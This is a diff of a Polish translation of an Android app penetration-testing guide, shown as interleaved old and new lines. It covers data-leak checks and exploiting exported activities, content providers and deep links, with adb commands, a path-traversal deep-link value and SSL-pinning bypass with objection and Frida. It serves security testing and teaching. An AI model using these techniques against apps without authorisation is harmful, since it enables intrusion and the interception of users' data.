**wspierają biblioteki ARM** bez potrzeby używania wolnego emulátora ARM). -- Naucz się jak je skonfigurować na tej stronie: - +- [**Android Studio**](https://developer.android.com/studio) (Możesz stworzyć urządzenia **x86** i **arm**, i zgodnie z [**tym** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze wersje x86** obsługują biblioteki ARM bez potrzeby używania wolnego emulatora ARM). +- Naucz się go skonfigurować na tej stronie: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(wersja darmowa:** Personal Edition, trzeba założyć konto. _Zaleca się **pobrać** wersję **Z**_ _**VirtualBox** aby uniknąć potencjalnych błędów._) -- [**Nox**](https://es.bignox.com) (Darmowy, ale nie wspiera Frida ani Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(wersja darmowa:** Personal Edition, wymaga utworzenia konta. _Zaleca się **pobrać** wersję **Z**_ _**VirtualBox**, aby uniknąć potencjalnych błędów._) +- [**Nox**](https://es.bignox.com) (Darmowy, ale nie obsługuje Frida ani Drozer). > [!TIP] -> Przy tworzeniu nowego emulatora na jakiejkolwiek platformie pamiętaj, że im większy ekran, tym emulator będzie działał wolniej. Wybieraj więc małe ekrany, jeśli to możliwe. +> Podczas tworzenia nowego emulatora na dowolnej platformie pamiętaj, że im większy ekran, tym wolniej emulator będzie działać. Wybieraj jak najmniejsze ekrany, jeśli to możliwe. -Aby **zainstalować google services** (jak AppStore) w Genymotion musisz kliknąć w czerwony przycisk zaznaczony na poniższym obrazie: +Aby **zainstalować google services** (np. AppStore) w Genymotion, musisz kliknąć w czerwony zaznaczony przycisk na poniższym obrazie: ![](<../../images/image (277).png>) -Zauważ też, że w **konfiguracji maszyny Android w Genymotion** możesz wybrać **Bridge Network mode** (to będzie przydatne jeśli będziesz łączyć się z Android VM z innej VM z narzędziami). +Zauważ także, że w **konfiguracji VM Androida w Genymotion** możesz wybrać **Bridge Network mode** (to będzie przydatne, jeśli będziesz łączyć się z VM Androida z innej VM z narzędziami). -#### Użycie urządzenia fizycznego +#### Używanie urządzenia fizycznego -Musisz aktywować **opcje debugowania**, a będzie dobrze, jeśli będziesz mógł je **zrootować**: +Musisz aktywować opcje **debugowania**, a miło by było, gdybyś mógł je **zrootować**: -1. **Ustawienia**. -2. (Od Android 8.0) Wybierz **System**. -3. Wybierz **Informacje o telefonie**. -4. Naciśnij **Numer kompilacji** 7 razy. -5. Wróć i znajdziesz **Opcje programisty**. +1. **Settings**. +2. (FromAndroid 8.0) Wybierz **System**. +3. Wybierz **About phone**. +4. Naciśnij **Build number** 7 razy. +5. Wróć i znajdziesz **Developer options**. -> Po zainstalowaniu aplikacji, pierwszą rzeczą jaką powinieneś zrobić jest jej przetestowanie i zbadanie co robi, jak działa i oswojenie się z nią.\ -> Sugeruję wykonanie tej początkowej analizy dynamicznej używając MobSF dynamic analysis + pidcat, dzięki czemu będziemy w stanie **nauczyć się jak aplikacja działa** podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć. +> Po zainstalowaniu aplikacji pierwszą rzeczą, którą powinieneś zrobić, jest jej uruchomienie i zbadanie, co robi, jak działa i oswojenie się z nią.\ +> Sugeruję wykonanie tej początkowej analizy dynamicznej używając MobSF dynamic analysis + pidcat, dzięki czemu będziemy w stanie **nauczyć się, jak aplikacja działa**, podczas gdy MobSF **przechwyci** wiele **interesujących** **danych**, które możesz później przejrzeć. -Magisk/Zygisk quick notes (recommended on Pixel devices) -- Patchuj boot.img przy użyciu aplikacji Magisk i flashuj przez fastboot, aby uzyskać systemless root -- Włącz Zygisk + DenyList dla ukrywania roota; rozważ LSPosed/Shamiko gdy potrzebne jest silniejsze ukrywanie -- Zachowaj oryginalny boot.img aby móc odzyskać się po OTA; ponownie patchuj po każdym OTA +Magisk/Zygisk quick notes (zalecane na urządzeniach Pixel) +- Zepatchuj boot.img przy pomocy aplikacji Magisk i wgraj przez fastboot, aby uzyskać systemless root +- Włącz Zygisk + DenyList do ukrywania roota; rozważ LSPosed/Shamiko gdy potrzebne jest silniejsze ukrywanie +- Zachowaj oryginalny boot.img, aby odzyskać się po OTA; ponownie zepatchuj po każdym OTA - Do mirrorowania ekranu użyj scrcpy na hoście +### Niezamierzone ujawnianie danych +**Logowanie** -### Unintended Data Leakage - -**Logging** - -Deweloperzy powinni być ostrożni, aby nie ujawniać **informacji debugowych** publicznie, ponieważ może to prowadzić do wycieku danych wrażliwych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) oraz `adb logcat` są rekomendowane do monitorowania logów aplikacji w celu identyfikacji i ochrony informacji wrażliwych. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. +Deweloperzy powinni uważać, by nie ujawniać publicznie **informacji debugowych**, ponieważ może to prowadzić do wycieków danych wrażliwych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony wrażliwych informacji. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. > [!WARNING] -> Zauważ, że od **wersji nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do własnych logów**. Więc aplikacje nie mogą odczytywać logów innych aplikacji.\ -> Mimo to, nadal zaleca się **nie logować informacji wrażliwych**. +> Zauważ, że od **wersji nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do własnych logów**. Więc aplikacje nie mogą uzyskać logów innych applikacji.\ +> Mimo to nadal zaleca się **nie logować informacji wrażliwych**. **Bufor kopiuj/wklej** -Androidowy framework oparty na **schowku** umożliwia funkcjonalność kopiuj-wklej w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając dane wrażliwe. Ważne jest, aby **wyłączyć funkcje kopiuj/wklej** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec leakom. +Androidowy framework oparty na **schowku** umożliwia funkcję kopiuj-wklej w aplikacjach, jednak niesie ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając dane wrażliwe. Należy **wyłączyć funkcje kopiuj/wklej** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec wyciekom danych. -**Crash Logs** +**Logi awarii** -Jeśli aplikacja **crashuje** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacji nie da się odwrócić (reverse-engineer). Aby zmniejszyć to ryzyko, unikaj logowania przy awariach, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa. +Jeśli aplikacja **crashuje** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacji nie da się odwrócić. Aby zredukować to ryzyko, unikaj logowania przy awariach, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL. -Jako pentester, **spróbuj spojrzeć na te logi**. +Jako pentester, **spróbuj rzucić okiem na te logi**. **Dane analityczne wysyłane do 3rd Parties** -Aplikacje często integrują serwisy takie jak Google Adsense, które mogą przypadkowo **leakować dane wrażliwe** z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, warto **przechwycić ruch aplikacji** i sprawdzić, czy jakiekolwiek informacje wrażliwe są wysyłane do usług zewnętrznych. +Aplikacje często integrują usługi takie jak Google Adsense, które mogą nieumyślnie **leakować** dane wrażliwe z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, warto **przechwycić ruch aplikacji** i sprawdzić, czy jakiekolwiek dane wrażliwe są wysyłane do usług stron trzecich. ### Bazy danych SQLite -Większość aplikacji używa **wewnętrznych baz SQLite** do zapisu informacji. Podczas pentestu sprawdź **bazy danych** które zostały utworzone, nazwy **tabel** i **kolumn** oraz wszystkie zapisywane **dane**, ponieważ możesz znaleźć **informacje wrażliwe** (co byłoby podatnością).\ -Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` np. `/data/data/com.mwr.example.sieve/databases` +Większość aplikacji używa **wewnętrznych baz danych SQLite** do zapisywania informacji. Podczas pentestu przyjrzyj się **bazom danych** utworzonym, nazwom **tabel** i **kolumn** oraz wszystkim **danym** zapisanym, ponieważ możesz znaleźć **informacje wrażliwe** (co byłoby podatnością).\ +Bazy danych powinny znajdować się w /data/data/the.package.name/databases, np. /data/data/com.mwr.example.sieve/databases -Jeśli baza danych zapisuje poufne informacje i jest **zaszyfrowana**, ale możesz **odnaleźć** **hasło** w aplikacji, to nadal jest to **podatność**. +Jeśli baza danych przechowuje informacje poufne i jest **encrypted** ale możesz **znaleźć** **password** w aplikacji, to nadal jest **vulnerability**. -Wyenumeruj tabele używając `.tables` oraz wyenumeruj kolumny tabel używając `.schema ` +Wypisz tabele używając `.tables` i wypisz schemat kolumn używając `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -Zgodnie z [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala **przyjąć rolę aplikacji Android** i współdziałać z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu Inter-Process Communication (IPC) Androida oraz interakcję z warstwą systemu operacyjnego. .\ -Drozer jest użytecznym narzędziem do **eksploatowania exported activities, exported services oraz Content Providers**, jak poznasz w kolejnych sekcjach. +Zgodnie z [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala przyjąć rolę aplikacji Android i wchodzić w interakcję z innymi aplikacjami. Może robić **cokolwiek, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu IPC Androida i interakcję z systemem operacyjnym.\ +Drozer jest użytecznym narzędziem do **wykorzystywania eksportowanych activities, eksportowanych services i Content Providers**, jak poznasz w kolejnych sekcjach. -### Eksploatacja eksportowanych Activities +### Exploiting exported Activities -[**Przeczytaj to jeśli chcesz odświeżyć czym jest Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ Pamiętaj też, że kod activity zaczyna się w metodzie **`onCreate`**. -**Ominięcie autoryzacji** +**Authorisation bypass** -Gdy Activity jest eksportowana, możesz wywołać jej ekran z zewnętrznej aplikacji. Zatem, jeśli activity zawierające **informacje wrażliwe** jest **eksportowane**, możesz **ominąć** mechanizmy **autoryzacji** aby uzyskać do niego dostęp. +Kiedy Activity jest eksportowane, możesz wywołać jej ekran z zewnętrznej aplikacji. Dlatego, jeśli activity zawierająca **wrażliwe informacje** jest **exported**, możesz **bypass** mechanizmy **authentication**, aby uzyskać do niej dostęp. -[**Dowiedz się jak eksploatować eksportowane activities przy użyciu Drozer.**](drozer-tutorial/index.html#activities) +[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Możesz także uruchomić eksportowane activity z adb: +Możesz też uruchomić eksportowane activity z adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**UWAGA**: MobSF wykryje jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w activity, ale zgodnie z [tym](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (API versions < 21). +**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). > [!TIP] -> Należy pamiętać, że an authorisation bypass nie zawsze jest podatnością — zależy to od tego, jak bypass działa i jakie informacje są ujawniane. +> Zauważ, że obejście autoryzacji nie zawsze jest podatnością; zależy to od tego, jak działa obejście i jakie informacje są ujawnione. -**Sensitive information leakage** +**Ujawnianie wrażliwych informacji** -**Activities can also return results**. Jeśli uda Ci się znaleźć eksportowaną i niechronioną activity wywołującą metodę **`setResult`** i **zwracającą poufne informacje**, występuje sensitive information leakage. +Aktywności mogą również zwracać wyniki. Jeśli uda Ci się znaleźć eksportowaną i niezabezpieczoną aktywność wywołującą metodę **`setResult`** i **zwracającą wrażliwe informacje**, występuje ujawnianie wrażliwych informacji. #### Tapjacking -Jeśli Tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej activity, aby zmusić **użytkownika do wykonania nieoczekiwanych działań**. Po więcej informacji o [**czym jest Tapjacking, kliknij link**](#tapjacking). +Jeśli Tapjacking nie jest zapobiegany, możesz wykorzystać eksportowaną aktywność, aby skłonić **użytkownika do wykonania nieoczekiwanych działań**. Po więcej informacji o [**czym jest Tapjacking przejdź pod ten link**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers są zasadniczo używane do **udostępniania danych**. Jeśli aplikacja ma dostępne content providers, możesz być w stanie **wyodrębnić poufne** dane z nich. Warto również przetestować możliwe **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. +[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ +Content providers są zasadniczo używane do **udostępniania danych**. Jeśli aplikacja ma dostępne content providers, możesz być w stanie **wyekstrahować z nich wrażliwe dane**. Warto też przetestować możliwe **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Service.**](android-applications-basics.md#services)\ -Pamiętaj, że działania Service zaczynają się w metodzie `onStartCommand`. +[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ +Pamiętaj, że działania Service rozpoczynają się w metodzie `onStartCommand`. -Service to w zasadzie coś, co **może otrzymywać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** go **dynamicznie** w celu wydobycia poufnych informacji, obejścia mechanizmów uwierzytelniania...\ +Service to w zasadzie coś, co **może otrzymywać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, żeby zrozumieć, co robi, i **przetestować** go **dynamicznie**, aby wydobyć poufne informacje, obejść mechanizmy uwierzytelniania... [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Pamiętaj, że działania Broadcast Receiver zaczynają się w metodzie `onReceive`. +[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ +Pamiętaj, że działania Broadcast Receiver rozpoczynają się w metodzie `onReceive`. -Broadcast receiver będzie oczekiwał na określony typ wiadomości. W zależności od tego, jak receiver obsługuje wiadomość, może być podatny.\ +Broadcast receiver będzie oczekiwać na określony typ komunikatu. W zależności od tego, jak receiver obsługuje komunikat, może być podatny.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Możesz wyszukiwać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów takich jak [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Możesz **otworzyć** zadeklarowane **scheme** używając **adb** lub **przeglądarki**: +Możesz szukać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów takich jak [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Możesz **otworzyć** zadeklarowany **scheme** używając **adb** lub **przeglądarki**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Zauważ, że możesz **pominąć nazwę pakietu** i urządzenie mobilne automatycznie uruchomi aplikację, która powinna otworzyć ten link._ +_Zwróć uwagę, że możesz **pominąć nazwę pakietu**, a urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._ ```html Click me with alternative ``` -**Wykonywany kod** +**Kod wykonywany** -Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do activity wywołanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. +Aby znaleźć **kod, który zostanie wykonany w App**, przejdź do activity wywoływanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Wrażliwe informacje** -Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera on wrażliwych danych (np. haseł) przez parametry URL**, ponieważ każda inna aplikacja mogłaby **podszyć się pod deep link i ukraść te dane!** +Za każdym razem, gdy znajdziesz deep link, sprawdź, że **nie odbiera wrażliwych danych (np. haseł) przez parametry URL**, ponieważ każda inna aplikacja mogłaby **podszyć się pod deep link i ukraść te dane!** **Parametry w ścieżce** -Musisz także sprawdzić, czy **którykolwiek deep link nie używa parametru w obrębie ścieżki** URL, na przykład: `https://api.example.com/v1/users/{username}` , w takim przypadku możesz wymusić path traversal uzyskując dostęp do czegoś w stylu: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Zauważ, że jeśli znajdziesz poprawne endpointy w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **account takeover** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF i podatny endpoint używał właściwej metody) oraz inne luki. Więcej [informacji znajdziesz tutaj](http://dphoeniixx.com/2020/12/13-2/). +Musisz również sprawdzić, **czy którykolwiek deep link używa parametru wewnątrz ścieżki** URL, np.: `https://api.example.com/v1/users/{username}`. W takim przypadku możesz wymusić path traversal, uzyskując dostęp do czegoś w stylu: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Zauważ, że jeśli znajdziesz poprawne endpoints wewnątrz aplikacji, możesz spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **account takeover** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF i podatny endpoint używał właściwej metody) oraz inne podatności. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). -**Więcej przykładów** +**More examples** -Ciekawy [raport bug bounty](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). +An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -### Inspekcja warstwy transportowej i błędy weryfikacji +### Inspekcja warstwy transportowej i błędy w weryfikacji -- **Certyfikaty nie zawsze są poprawnie weryfikowane** przez aplikacje Android. Często aplikacje ignorują ostrzeżenia i akceptują certyfikaty self-signed lub, w niektórych przypadkach, wracają do używania połączeń HTTP. -- **Negocjacje podczas SSL/TLS handshake bywają słabe**, używając niebezpiecznych cipher suites. Ta luka sprawia, że połączenie jest podatne na ataki man-in-the-middle (MITM), umożliwiając atakującemu odszyfrowanie danych. -- **Leakage of private information** jest ryzykiem, gdy aplikacje uwierzytelniają się przy użyciu bezpiecznych kanałów, ale potem komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne lub dane użytkownika, przed przechwyceniem przez złośliwe podmioty. +- **Certyfikaty nie zawsze są weryfikowane poprawnie** przez aplikacje Android. Często aplikacje ignorują ostrzeżenia i akceptują self-signed certificates albo, w niektórych przypadkach, wracają do używania połączeń HTTP. +- **Negocjacje podczas SSL/TLS handshake bywają słabe**, stosując niebezpieczne cipher suites. Ta podatność umożliwia ataki man-in-the-middle (MITM), pozwalając atakującemu odszyfrować dane. +- **Ujawnianie prywatnych informacji** jest ryzykiem, gdy aplikacje uwierzytelniają się przy użyciu bezpiecznych kanałów, a następnie komunikują przez niezabezpieczone kanały dla innych operacji. Takie podejście nie chroni wrażliwych danych, takich jak session cookies czy dane użytkownika, przed przechwyceniem przez złośliwe podmioty. -#### Weryfikacja certyfikatu +#### Certificate Verification -Skoncentrujemy się na **weryfikacji certyfikatów**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. To kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez kanały niezaszyfrowane mogą stwarzać poważne zagrożenia. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i naprawy luk, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) zapewnia kompleksowe wskazówki. +Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być sprawdzana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez niezabezpieczone kanały mogą stwarzać poważne ryzyko. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i usuwania podatności, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) zawiera obszerny poradnik. #### SSL Pinning -SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Zdecydowanie zaleca się implementację SSL Pinning w aplikacjach przetwarzających wrażliwe informacje. +SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej wewnątrz aplikacji. Ta metoda jest kluczowa do zapobiegania atakom MITM. Implementacja SSL Pinning jest zdecydowanie zalecana dla aplikacji obsługujących wrażliwe informacje. -#### Inspekcja ruchu +#### Traffic Inspection -Aby przejrzeć ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez instalacji tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Instrukcję instalacji niestandardowego certyfikatu CA znajdziesz w: [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Aby inspekcjonować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Dla przewodnika po instalacji własnego CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacje targetujące **API Level 24 i nowsze** wymagają modyfikacji Network Security Config, aby zaakceptować certyfikat CA proxy. Ten krok jest krytyczny do inspekcji szyfrowanego ruchu. Instrukcje dotyczące modyfikacji Network Security Config znajdziesz w [**tym tutorialu**](make-apk-accept-ca-certificate.md). +Aplikacje targetujące **API Level 24 and above** wymagają modyfikacji Network Security Config, aby zaakceptować CA certificate proxy. Ten krok jest kluczowy do inspekcji szyfrowanego ruchu. Instrukcje dotyczące modyfikacji Network Security Config znajdziesz w [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Jeśli używany jest **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Wynika to z faktu, że samo dodanie certyfikatu do magazynu nie zadziała, ponieważ Flutter ma własną listę zaufanych CA. +Jeśli używane jest **Flutter**, musisz postępować zgodnie z instrukcjami na [**this page**](flutter.md). To dlatego, że samo dodanie certyfikatu do store nie zadziała — Flutter ma własną listę zaufanych CA. -#### Statyczne wykrywanie SSL/TLS pinning +#### Static detection of SSL/TLS pinning -Zanim spróbujesz obejść mechanizmy w czasie wykonywania, szybko zmapuj, gdzie pinning jest wymuszany w APK. Odkrywanie statyczne pomaga zaplanować hooki/łatki i skupić się na właściwych ścieżkach kodu. +Zanim spróbujesz obejść pinning w czasie wykonywania, szybko zmapuj miejsca, gdzie pinning jest egzekwowany w APK. Statyczne wykrywanie pomaga zaplanować hooki/patch’e i skupić się na odpowiednich ścieżkach kodu. -Narzędzie: SSLPinDetect -- Otwarte narzędzie do analizy statycznej, które dekompiluje APK do Smali (przez apktool) i skanuje przygotowane wzorce regex dotyczące implementacji SSL/TLS pinning. -- Zgłasza dokładną ścieżkę pliku, numer linii i fragment kodu dla każdego dopasowania. -- Obejmuje popularne frameworki i niestandardowe ścieżki kodu: OkHttp CertificatePinner, niestandardowy javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init z niestandardowymi TrustManagers/KeyManagers oraz piny w Network Security Config XML. +Tool: SSLPinDetect +- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. +- Reports exact file path, line number, and a code snippet for each match. +- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. -Instalacja -- Wymagania: Python >= 3.8, Java w PATH, apktool +Install +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -465,7 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Przykładowe reguły wzorców (JSON) -Użyj lub rozszerzaj sygnatury, aby wykrywać proprietarne/niestandardowe style pinning. Możesz załadować własny JSON i skanować na dużą skalę. +Użyj lub rozszerz signatures, aby wykrywać proprietary/custom pinning styles. Możesz załadować własne pliki JSON i scan at scale. ```json { "OkHttp Certificate Pinning": [ @@ -479,45 +479,45 @@ Użyj lub rozszerzaj sygnatury, aby wykrywać proprietarne/niestandardowe style ] } ``` -Notatki i wskazówki -- Szybkie skanowanie dużych aplikacji przy użyciu wielowątkowości i mapowanego w pamięci I/O; pre-kompilowane wyrażenia regularne zmniejszają narzut/fałszywe pozytywy. +Uwagi i wskazówki +- Szybkie skanowanie dużych aplikacji za pomocą multi-threading i memory-mapped I/O; pre-compiled regex zmniejsza narzut/fałszywe pozytywy. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns - Typowe cele detekcji do dalszej weryfikacji: -- OkHttp: użycie CertificatePinner, setCertificatePinner, odwołania do pakietu okhttp3/okhttp -- Niestandardowe TrustManagers: javax.net.ssl.X509TrustManager, nadpisania checkServerTrusted -- Niestandardowe konteksty SSL: SSLContext.getInstance + SSLContext.init z niestandardowymi managerami -- Deklaratywne pins w res/xml (network security config) oraz odwołania w manifest -- Wykorzystaj dopasowane lokalizacje do zaplanowania hooków Frida, statycznych patchy lub przeglądu konfiguracji przed testami dynamicznymi. +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Wykorzystaj dopasowane lokalizacje do zaplanowania Frida hooks, static patches lub przeglądu konfiguracji przed testami dynamicznymi. #### Omijanie SSL Pinning -Gdy SSL Pinning jest zaimplementowany, konieczne staje się jego ominięcie, aby przeanalizować ruch HTTPS. Istnieje kilka metod do tego celu: +Kiedy SSL Pinning jest zaimplementowany, konieczne staje się jego obejście, aby móc analizować ruch HTTPS. Dostępne są różne metody: -- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować root, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować zmodyfikowaną wersję, a to nie zawsze zadziała. -- Możesz użyć **Frida** (omawiane poniżej), aby obejść tę ochronę. Tutaj jest przewodnik użycia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Możesz też spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Możesz też spróbować **automatycznie obejść SSL Pinning** używając **MobSF dynamic analysis** (omówione poniżej) -- Jeśli nadal uważasz, że część ruchu nie jest przechwytywana, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten wpis na blogu: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatycznie **zmodyfikować** **apk**, aby **ominąć** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, ale będziesz musiał usunąć aplikację i zainstalować nową, i nie zawsze to zadziała. +- Możesz użyć **Frida** (omawiana poniżej) do ominięcia tej ochrony. Oto poradnik jak użyć Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Możesz też spróbować **automatycznie ominąć SSL Pinning** używając [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Możesz też spróbować **automatycznie ominąć SSL Pinning** używając **MobSF dynamic analysis** (opisane poniżej) +- Jeśli nadal uważasz, że część ruchu nie jest przechwytywana, możesz spróbować **przekierować ruch do Burp używając iptables**. Przeczytaj ten wpis: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Poszukiwanie typowych podatności webowych +#### Szukanie typowych 